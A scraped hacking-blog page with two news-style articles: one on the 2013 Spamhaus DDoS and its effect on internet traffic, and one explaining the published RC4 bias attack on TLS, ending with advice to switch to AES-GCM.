Recently worldwide Hackers started #OpIsrael and targeted Israeli websites, which caused massive disruption to government, academic and priv...

+ Read more »

Anotomy of The Largest DDOS Attack That Almost Took Down The Internet

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizDIpabjAv-ioqgJcbREhg8opjcII1_oT6IaWom1rr2a-rU4jTMARkpEyHkmHVVYNSX-ZrJ2Y2lJm1avZZ6P9ETk8u9hnOc3H7E-YQBZmZUE2J7AuU-Lhc3G94NkJXzeJilSmivzZ7TNE/s1600/DOS.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="246" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizDIpabjAv-ioqgJcbREhg8opjcII1_oT6IaWom1rr2a-rU4jTMARkpEyHkmHVVYNSX-ZrJ2Y2lJm1avZZ6P9ETk8u9hnOc3H7E-YQBZmZUE2J7AuU-Lhc3G94NkJXzeJilSmivzZ7TNE/s320/DOS.jpg" width="320" /></a></div><br /> <br /><br />Recently, the largest DDOS attack in the history of the internet has been noticed, According to the reports from various websites; the attack was of more than 300GB/second. It all started when <b>Spamhaus(NON PROFIT ORGAZNIATION) </b>that manages the spam filters for various websites blacklisted a <b>Dutch</b> based webhosting company <b>Cyberbunker</b>, <b>Cyberbunker</b> allows a user to host everything else than Child pornography and stuff related to terrorism. This allows an attacker to host any malicious software such as botnet. A botnet can be used for variety of purposes ranging from stealing credit card information, infecting PC's to even denial of service attacks. <br />In a interview with bbc, Spamhaus blamed the Cyberbunker for the ongoing attacks, they said that Cyberbunkers have joined hands with attackers to perform DDOS attacks in order to compromise the availability.<br /><br /><a name='more'></a><br />The attack was a Denial of service attacks, which is often used by attackers to compromise the availability of the website by flooding the website with huge number of packets (In most cases), The DDOS attack was aimed at the DNS servers of <b style="mso-bidi-font-weight: normal;">Spamhaus</b>, A DNS server is responsible for the translation of an IP address to domain name, In simple words, When we are accessing any website on the internet, on the back end we are actually accessing the IP address, DNS simplifies the process.<br /><br />The experts call the attack as the biggest DDOS attack in the history of the internet, Normally, when we talk about a massive DDOS attack against huge infrastructures, It ranges from <br />30 to 50 GB per second of traffic, however this attack was more than 300gbps per traffic. The company moved to <b style="mso-bidi-font-weight: normal;">Cloudfare</b>(A web performance and security company) in order to protect their services from been taken down, Initially they were receiving 10GBPS of traffic, but it got even the worse the attack and the highest peak noted was around 300GBPS. However, instead of going after Spamhaus the attackers targeted Cloudfare itself, the attackers failed to knock Cloudfare servers, even after a 100GIGS of traffic, after that they targeted the bandwidth providers of Cloudfare known as "Tier2", who itself buy bandwidth from Tier1 provider. The major traffic load was carried out by Tier1, which reported more than 300GBPS of traffic, making it the largest DDOS attack ever.<br /><br />Now, one might think that, how is it slowing down the internet?, it's because, this is how the internet works as internet is simply a collection of networks, Let's say, when we are connecting to google.com from Pakistan, our browser sends a http requests, the browser sends/receives a packets which are hopped across lots of routers/networks in between until they reach the Google servers. As mentioned previously Tier2 buys bandwidth from Tier1, Tier1 connects to other Tier1 providers to ensure that all the networks are connected with each other.Tier1 providers are the core of the internet, the Tier1 provider ended up suffering all the traffic. It is reported by Cloudfare that Tier1 providers for Europe were affected, as a reason of which, internet slowdown was noticed for people surfing the internet in those areas. However, In Pakistan, the severity was very low, therefore major slow down was not noticed.<br /><br />Lots of Pakistani websites are hosted abroad, the following is the list of them:<br /><br /><b>www.pakistan.gov.pk</b>(Main Pakistan Government Portal)<br /><b>www.infopak.gov.pk</b>(Ministry of Information and Broadcasting)<br /><b>www.interior.gov.pk</b>(Ministry of Interior)<br /><b>www.e-government.gov.pk</b>(E Government Directorate)<br /><b>www.pta.gov.pk</b>(Pakistan Telecom Authority)<br /><b>www.pc.gov.pk</b>(Planning Commission)<br /><b>www.sindh.gov.pk</b>(Government of Sindh)<br /><br />As as result of the outage they are suffering the outage and lots of Pakistani users are not able to access the websites, If we host these servers in Pakistan, Initially the attack would be mitigated, however it would raise a lot of security concerns, Since Pakistani servers would be more easy for attackers to compromise and knock them off, due to poor security and patch management. Also, I don't see any of the protection against DOS attacks; perhaps if they could acquire <b>Cloudfare </b>protection services, the DOS attacks would be mitigated easily.</div>

Anotomy of The Largest DDOS Attack That Almost Took Down The Internet

Recently, the largest DDOS attack in the history of the internet has been noticed, According to the reports from various websites; the atta...

+ Read more »

HTTPS Cracked! SSL/TLS Attacked And Exploited

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjw2XEgtGVNU8iF20gVQOHtMPyFnb9b9lMGK3HUce6X8saWCy0ctQ97hiIPB4RjiwGn3N8VGoF8NPMYfGEjYyx8bH8rP4empkL8MSRGPeP28EHlWEzeCGKS090H4eAjYGIsEdt0nvipows/s1600/https.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="441" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjw2XEgtGVNU8iF20gVQOHtMPyFnb9b9lMGK3HUce6X8saWCy0ctQ97hiIPB4RjiwGn3N8VGoF8NPMYfGEjYyx8bH8rP4empkL8MSRGPeP28EHlWEzeCGKS090H4eAjYGIsEdt0nvipows/s640/https.png" width="577" /></a></div><span style="font-family: inherit;"><br /></span><span style="font-family: inherit;">People who blog about ethical hacking have a very sincere relationship with Cryptographers. They (the Cryptographers) keep bringing in something delightful into the everyday nonsense and we blabber about their accomplishments until its squishy and old - this love goes far beyond then can be comprehended by normal folk. No offence.</span><br /><a name='more'></a><span style="font-family: inherit;">It seems like they have swept us off our feet again and this time around, they are flaunting the big guns. </span><b style="font-family: inherit;"><a href="http://www.isg.rhul.ac.uk/tls/" rel="nofollow" target="_blank">Cryptographers have targeted SSL/TLS and done some serious damage to HTTPS.</a></b><span style="font-family: inherit;"> Transport Layer Security didn't face a major blow during the attack as it requires to capture millions and billions of connections consisting of the same plaintext. But this highlights a major issue present in using the RC4 encryption algorithm.</span><br /><span style="font-family: inherit;"><br /></span><span style="font-family: inherit;">RC4 uses the same key for encryption and decryption, whereas TLS uses a public/private key pair for encryption and decryption which makes it lag therefore it uses a hybrid approach. TLS connection can be setup using public/private key pairs and once established can share encrypted data over a secure network that uses ciphers for encrypting data such as AES, DES, Triple-DES, Blowfish, RC4, etc.</span><br /><br /><span style="font-family: inherit;"></span> <br /><div class="separator" style="clear: both; text-align: center;"><span style="font-family: inherit;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcHkmRvaLFAbn6salELGCLcfsWYJ6T7ezGneJfUnfxq3X5G_La2FWxBL3CMQk2_pUEXWCAIdQ_kiwCOo_p4X6l86wImq900vdQ7XIQohmvUu4p18Ps17E_bbZWi7CFAuMLokLIdtTjNd4/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="278" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcHkmRvaLFAbn6salELGCLcfsWYJ6T7ezGneJfUnfxq3X5G_La2FWxBL3CMQk2_pUEXWCAIdQ_kiwCOo_p4X6l86wImq900vdQ7XIQohmvUu4p18Ps17E_bbZWi7CFAuMLokLIdtTjNd4/s640/1.png" width="640" /></a></span></div><br /><br /><span style="font-family: inherit;">RC4 has been advised against many times in the past but its also a fact that it brings in half of all TLS traffic. So, the attack was done on a part of TLS by AlFardan-Bernstein-Paterson-Poettering-Schuldt (AIFBPPS).</span><br /><span style="font-family: inherit;"><br /></span><b><span style="font-family: inherit;"><a href="http://nakedsecurity.sophos.com/2013/03/16/has-https-finally-been-cracked/" rel="nofollow" target="_blank">According to NakedSophos team;</a></span></b><br /><span style="font-family: inherit;"><br /></span><br /><blockquote class="tr_bq" style="text-align: left;"><span style="font-family: inherit;">RC4 is a <em style="background-color: transparent; border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">stream cipher</em>, so it is basically a keyed cryptographic pseudo-random number generator (PRNG). It emits a stream of cipher bytes that are XORed with your plaintext to produce the encrypted ciphertext.</span><br /><span style="font-family: inherit;">To decrypt the ciphertext, you initialise RC4 with the same key, and XOR the ciphertext with the same stream of cipher bytes. XORing twice with the same value "cancels out", because <tt style="background-color: transparent; border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">k XOR k = 0</tt>, and because <tt style="background-color: transparent; border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">p XOR 0 = p</tt>.</span></blockquote><div style="background-color: white; border: 0px; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 15px; margin-bottom: 10px; padding: 0px; text-align: -webkit-auto; vertical-align: baseline;"><span style="font-family: inherit;"><br /></span><span style="font-family: inherit;">RC4 generates a statistically anomalous output initially in each stream of cipher bytes. Therefore it is not a high-quality cryptographic PRNG. This phenomenon was first observed by Itsik Mantin and Adi Shamir in 2001. They noticed that during the second output byte the value zero turned up twice as often as it should; 256 keys on average to be precise with a probability of 1/128. This resulted in WEP being attacked which was then replaced by WPA.</span><br /><span style="font-family: inherit;"><br /></span><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKyTl0_VpS2tFpvTJ8Jo3dPmEAssZUgDBsZJK_OgiORTihyxlvPF9QhXqWPvSbZwKOTqsvSyG17ZOHOaQ8O7Py38HGBQYQqNmm65sf1A1dGAcUhelmdaaJ-yG2Q6EmndWIEKrgshwOlgc/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="102" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKyTl0_VpS2tFpvTJ8Jo3dPmEAssZUgDBsZJK_OgiORTihyxlvPF9QhXqWPvSbZwKOTqsvSyG17ZOHOaQ8O7Py38HGBQYQqNmm65sf1A1dGAcUhelmdaaJ-yG2Q6EmndWIEKrgshwOlgc/s640/2.png" width="640" /></a></div><span style="font-family: inherit;"><br /></span><br /><div style="text-align: left;"><span style="font-family: inherit;">AIFBPPS have taken this attack further than anyone else <i>"producing statistical tables for the probability of every output byte (0.255<span style="background-color: white; color: #333333; text-align: -webkit-auto;">) </span><span style="background-color: white; color: #333333; text-align: -webkit-auto;">for each of the first 256 output positions in an RC4 cipher stream, for a total of 65535 (256x256) measurements."</span></i></span></div><div style="text-align: left;"><span style="background-color: white; color: #333333; text-align: -webkit-auto;"><span style="font-family: inherit;"><br /></span></span></div><br /><div style="background-color: white; border: 0px; color: #333333; margin-bottom: 10px; padding: 0px; text-align: -webkit-auto; vertical-align: baseline;"></div><div style="border: 0px; margin-bottom: 10px; padding: 0px; text-align: left; vertical-align: baseline;"><b><span style="font-family: inherit;"><a href="http://nakedsecurity.sophos.com/2013/03/16/has-https-finally-been-cracked/" rel="nofollow" target="_blank">According to NakedSophos team;</a></span></b></div><blockquote class="tr_bq"><span style="font-family: inherit;">By using a sufficiently large sample size of differently-keyed RC4 streams, they achieved results with sufficient precision to determine that almost every possible output was biased in some way.<br />The probability tables for a few of the output positions (which are numbered from 1 to 256) are show below.<br />The authors realised that if you could produce TLS connections over and over again that contained the the same data at a known offset inside the first 256 bytes (for example an HTTP request with a session cookie at the start of the headers), you could use their probability tables to guess the cipher stream bytes for those offsets.</span></blockquote><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXDuBwdRD6MAwyytE1nNxFJiQGhyphenhyphen-wK8d_8p38b50EcBCnJEeQSCMSynMR7sfnn1hFILnBggf-kT6Oq8yBm8gKyf_BB_uv5qy8F1lVk_IefmfEuwvSKC21YcyWwVIv9KKVEZx3VDS1-yI/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXDuBwdRD6MAwyytE1nNxFJiQGhyphenhyphen-wK8d_8p38b50EcBCnJEeQSCMSynMR7sfnn1hFILnBggf-kT6Oq8yBm8gKyf_BB_uv5qy8F1lVk_IefmfEuwvSKC21YcyWwVIv9KKVEZx3VDS1-yI/s640/3.png" width="640" /></a></div><div style="border: 0px; margin-bottom: 10px; padding: 0px; vertical-align: baseline;"></div><div style="border: 0px; margin-bottom: 10px; padding: 0px; text-align: left; vertical-align: baseline;"><span style="color: black;"><span style="font-family: inherit;"><b><br /></b></span></span></div><div style="border: 0px; margin-bottom: 10px; padding: 0px; text-align: left; vertical-align: baseline;"><span style="color: black;"><span style="font-family: inherit;"><b>Here's a brief description of how it works by NakedSophos team:</b></span></span></div><div style="border: 0px; margin-bottom: 10px; padding: 0px; vertical-align: baseline;"><span style="font-family: inherit;">"Imagine that you know that the 48th plaintext byte, P<sub style="background-color: transparent; border: 0px; height: 0px; line-height: 1; margin: 0px; padding: 0px; position: relative; top: 0.5ex; vertical-align: baseline;">48</sub>, is always the same, but not what it is.</span></div><div style="border: 0px; margin-bottom: 10px; padding: 0px; vertical-align: baseline;"></div><div style="border: 0px; margin-bottom: 10px; padding: 0px; vertical-align: baseline;"><span style="font-family: inherit;">You provoke millions of TLS connections containing that fixed-but-unknown P<sub style="background-color: transparent; border: 0px; height: 0px; line-height: 1; margin: 0px; padding: 0px; position: relative; top: 0.5ex; vertical-align: baseline;">48</sub>; in each connection, which will be using a randomly-chosen session key, P<sub style="background-color: transparent; border: 0px; height: 0px; line-height: 1; margin: 0px; padding: 0px; position: relative; top: 0.5ex; vertical-align: baseline;">48</sub> will end up encrypted with a pseudo-random cipher byte, K<sub style="background-color: transparent; border: 0px; height: 0px; line-height: 1; margin: 0px; padding: 0px; position: relative; top: 0.5ex; vertical-align: baseline;">48</sub>, to give a pseudo-random ciphertext byte, C<sub style="background-color: transparent; border: 0px; height: 0px; line-height: 1; margin: 0px; padding: 0px; position: relative; top: 0.5ex; vertical-align: baseline;">48</sub>.</span></div><div style="border: 0px; margin-bottom: 10px; padding: 0px; vertical-align: baseline;"><span style="font-family: inherit;">And you sniff the network traffic so you capture millions of different samples of C<sub style="background-color: transparent; border: 0px; height: 0px; line-height: 1; margin: 0px; padding: 0px; position: relative; top: 0.5ex; vertical-align: baseline;">48</sub>.</span></div><div style="border: 0px; margin-bottom: 10px; padding: 0px; vertical-align: baseline;"><span style="font-family: inherit;">Now imagine that one value for C<sub style="background-color: transparent; border: 0px; height: 0px; line-height: 1; margin: 0px; padding: 0px; position: relative; top: 0.5ex; vertical-align: baseline;">48</sub> shows up more than 1% (1.01 times) more frequently than it ought to. We'll refer to this skewed value of C<sub style="background-color: transparent; border: 0px; height: 0px; line-height: 1; margin: 0px; padding: 0px; position: relative; top: 0.5ex; vertical-align: baseline;">48</sub> as C'.</span></div><div style="border: 0px; margin-bottom: 10px; padding: 0px; vertical-align: baseline;"><span style="font-family: inherit;">From the probability table for K<sub style="background-color: transparent; border: 0px; height: 0px; line-height: 1; margin: 0px; padding: 0px; position: relative; top: 0.5ex; vertical-align: baseline;">48</sub> above, you would guess that the cipher byte used for encrypting P to produce C' must have been 208 (0xD0), since K<sub style="background-color: transparent; border: 0px; height: 0px; line-height: 1; margin: 0px; padding: 0px; position: relative; top: 0.5ex; vertical-align: baseline;">48</sub> takes the value 208 more than 1% too often.</span></div><div style="border: 0px; margin-bottom: 10px; padding: 0px; vertical-align: baseline;"><span style="font-family: inherit;">In other words, C' must be <tt style="background-color: transparent; border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">P XOR 208</tt>, so that P must be <tt style="background-color: transparent; border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">C' XOR 208</tt>, and you have recovered the 48th byte of plaintext.</span></div><div style="border: 0px; margin-bottom: 10px; padding: 0px; vertical-align: baseline;"><span style="font-family: inherit;">The guesswork gets a little harder for cipher stream offsets where the skew in frequency distribution is less significant, but it's still possible, given sufficiently many captured TLS sessions.</span></div><div style="border: 0px; margin-bottom: 10px; padding: 0px; vertical-align: baseline;"><span style="font-family: inherit;">AlFBPPS measured how accurate their plaintext guesses were for varying numbers of TLS sessions, and the results were worrying, if not actually scary:</span></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJvJYPfuNE2XJxtuBZYmoNxdmnwX9f014BjaVlD6n8UnCY9V-ARj6-vecvN_j2M9FSL7igKXDZ_uQXP5Dxo3Eoxcm5jn4rFaAIZExkJM_NE5E3gB9sasztm1MHE5b0Q0ZRqLwu2Gd6nuw/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="212" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJvJYPfuNE2XJxtuBZYmoNxdmnwX9f014BjaVlD6n8UnCY9V-ARj6-vecvN_j2M9FSL7igKXDZ_uQXP5Dxo3Eoxcm5jn4rFaAIZExkJM_NE5E3gB9sasztm1MHE5b0Q0ZRqLwu2Gd6nuw/s640/5.png" width="640" /></a></div><div><div style="border: 0px; margin-bottom: 10px; padding: 0px; vertical-align: baseline;"><span style="font-family: inherit;"><br /></span></div><div style="border: 0px; margin-bottom: 10px; padding: 0px; vertical-align: baseline;"><span style="font-family: inherit;">"However, given the huge number of TLS sessions required, The Register's provocative URL <a href="http://www.theregister.co.uk/2013/03/15/tls_broken/" rel="nofollow" style="background-color: transparent; background-position: initial initial; background-repeat: initial initial; border: 0px; color: #2571c2; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><tt style="background-color: transparent; border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">theregister.co.uk/tls_broken</tt></a> might be going a bit far.</span></div><div style="border: 0px; margin-bottom: 10px; padding: 0px; vertical-align: baseline;"><span style="font-family: inherit;">Initiating 2<sup style="background-color: transparent; border: 0px; bottom: 1ex; height: 0px; line-height: 1; margin: 0px; padding: 0px; position: relative; vertical-align: baseline;">32</sup> (4 billion), or even 2<sup style="background-color: transparent; border: 0px; bottom: 1ex; height: 0px; line-height: 1; margin: 0px; padding: 0px; position: relative; vertical-align: baseline;">28</sup> (260 million), TLS sessions, and then sniffing and post-processing the results to extract a session cookie is unlikely to be a practicable attack any time soon.</span></div><div style="border: 0px; margin-bottom: 10px; padding: 0px; vertical-align: baseline;"><span style="font-family: inherit;">If nothing else, the validity of the session cookie might reasonably be expected to be shorter than the time taken to provoke hundreds of millions of redundant TLS connections.</span></div><div style="border: 0px; margin-bottom: 10px; padding: 0px; vertical-align: baseline;"><span style="font-family: inherit;">On the other hand, the advice to avoid RC4 altogether because of its not-so-random PRNG can't be written off as needlessly conservative.</span></div><div style="border: 0px; margin-bottom: 10px; padding: 0px; vertical-align: baseline;"><strong style="background-color: transparent; border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><span style="font-family: inherit;">If you can, ditch RC4 from the set of symmetric ciphers your web browser is willing to use, and your web servers to accept.</span></strong></div><div style="border: 0px; margin-bottom: 10px; padding: 0px; vertical-align: baseline;"><span style="font-family: inherit;">Go for AES-GCM instead.</span></div><div style="border: 0px; margin-bottom: 10px; padding: 0px; vertical-align: baseline;"><span style="font-family: inherit;">GCM, or Galois/Counter Mode, is a comparatively new way of using block ciphers that gives you encryption and authentication all in one, which not only avoids the risky RC4 cipher, but neatly bypasses the problems exposed in the Lucky 13 attack, too."</span></div><div style="border: 0px; margin-bottom: 10px; padding: 0px; text-align: left; vertical-align: baseline;"><span style="font-family: inherit;">Cheers!</span></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div style="border: 0px; margin-bottom: 10px; padding: 0px; text-align: left; vertical-align: baseline;"><b><span style="font-family: inherit;">About the Author:</span></b></div><div style="border: 0px; margin-bottom: 10px; padding: 0px; text-align: left; vertical-align: baseline;"><span style="font-family: inherit;">This Article has been written by Dr. Sindhia Javed Junejo. She is one of the core members of RHA team.</span></div></div></div></div>

HTTPS Cracked! SSL/TLS Attacked And Exploited

People who blog about ethical hacking have a very sincere relationship with Cryptographers. They (the Cryptographers) keep bringing in somet...

+ Read more »